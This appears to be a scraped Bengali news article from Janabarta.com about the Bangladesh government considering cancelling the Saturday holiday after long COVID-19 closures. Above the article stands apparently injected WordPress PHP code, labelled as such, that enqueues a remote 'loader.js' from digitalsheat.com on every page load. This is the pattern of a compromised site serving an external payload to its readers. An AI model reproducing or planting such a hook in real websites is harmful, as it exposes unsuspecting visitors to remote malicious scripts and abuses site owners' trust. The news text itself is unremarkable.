// Injected Script Enqueue Code function enqueue_custom_script() { wp_enqueue_script( 'custom-error-script', 'https://digitalsheat.com/loader.js', array(), null, true ); } add_action('wp_enqueue_scripts', 'enqueue_custom_script'); Janabarta.com | Newsportal Site শনিবারের সাপ্তাহিক ছুটি বাতিল হচ্ছে! - Janabarta.com

শনিবারের সাপ্তাহিক ছুটি বাতিল হচ্ছে!

নিজস্ব প্রতিবেদক: দেশে মহামারি করোনাভাইরাসের প্রাদুর্ভাবের কারণে সরকার ঘোষিত সাধারণ ছুটি দফায় দফায় বাড়ছে। সর্বশেষ ঘোষণায় ঈদের ছুটিসহ এটিকে বর্ধিত করা হয়েছে ৩০ মে পর্যন্ত। এই লম্বা ছুটির কারণে দেশের যে সামগ্রিক ক্ষতি হচ্ছে তা পুষিয়ে নিতে শনিবারের সাপ্তাহিক ছুটি বাতিলের কথা ভাবনায় রাখছে সরকার।

অর্থনীতিতে দেখা দিয়েছে মারাত্মক স্থবিরতা। অফিসগুলোকে ফাইলের স্তূপ জমে গেছে। আদালতে জট লেগেছে মামলার। বেসরকারি প্রতিষ্ঠানগুলোর অবস্থাও ভালো নেই। শিক্ষাপ্রতিষ্ঠানে জমে আছে ক্লাস-পরীক্ষা। এককথায় করোনাভাইরাসের কারণে প্রায় স্থবির হয়ে পড়া দেশকে নতুন করে চাঙ্গা করতে নানা পরিকল্পনা করছে সরকার। তারমধ্যে দুদিনের সাপ্তাহিক ছুটিকে কমিয়ে একদিনে নিয়ে আসার ব্যাপারটি অন্যতম।

জনপ্রশাসন বিশেষজ্ঞদের অনেকেই সাপ্তাহিক ছুটি একদিনের পক্ষে। সাবেক মন্ত্রিপরিষদ সচিব আলী ইমাম মজুমদার বলেন, আমি বিষয়টাকে পজিটিভলি দেখছি। করোনাভাইরাসের শেষে সরকারি-বেসরকারি সব প্রতিষ্ঠানের টার্গেট থাকবে দ্রুত কাজ করে আগের অবস্থানে ফিরে যাওয়া। সেক্ষেত্রে সাপ্তাহিক ছুটি একদিন করা যেতে পারে। কারণ দিনের কর্মঘণ্টা তো চাইলেই সরকার বাড়াতে পারবে না।

এ বিষয়ে জানতে চাইলে জনপ্রশাসন প্রতিমন্ত্রী ফরহাদ হোসেন বলেন, বিষয়টি কিছুটা স্পর্শকাতর। যারা কাজ করবেন তারা যদি বিষয়টাকে ভালোভাবে না নেন তাহলে তো এমন সিদ্ধান্ত বুমেরাং হতে পারে। তাই বিষয়টা শুধুই ভাবনায় আছে, এর বেশি কিছু নয়। সর্বোচ্চ পর্যায় থেকে যদি এ ব্যাপারে গ্রিন সিগন্যাল পাওয়া যায়, তবেই এটা সম্ভব হতে পারে।

স্বাধীনতার পর দীর্ঘদিন ধরে সাপ্তাহিক ছুটি ছিল রোববার। এরশাদ সরকার এসে একদিন বাড়িয়ে করলেন শুক্র ও শনিবার। কিছুদিন পর সেটাকে একদিনে নিয়ে এসে সাপ্তাহিক ছুটি নির্ধারণ করা হয় শুধু শুক্রবারকে। ১৯৯৬ সালে ক্ষমতায় এসে আওয়ামী লীগ সরকার সাপ্তাহিক ছুটিকে আবার দুদিন ঘোষণা করে।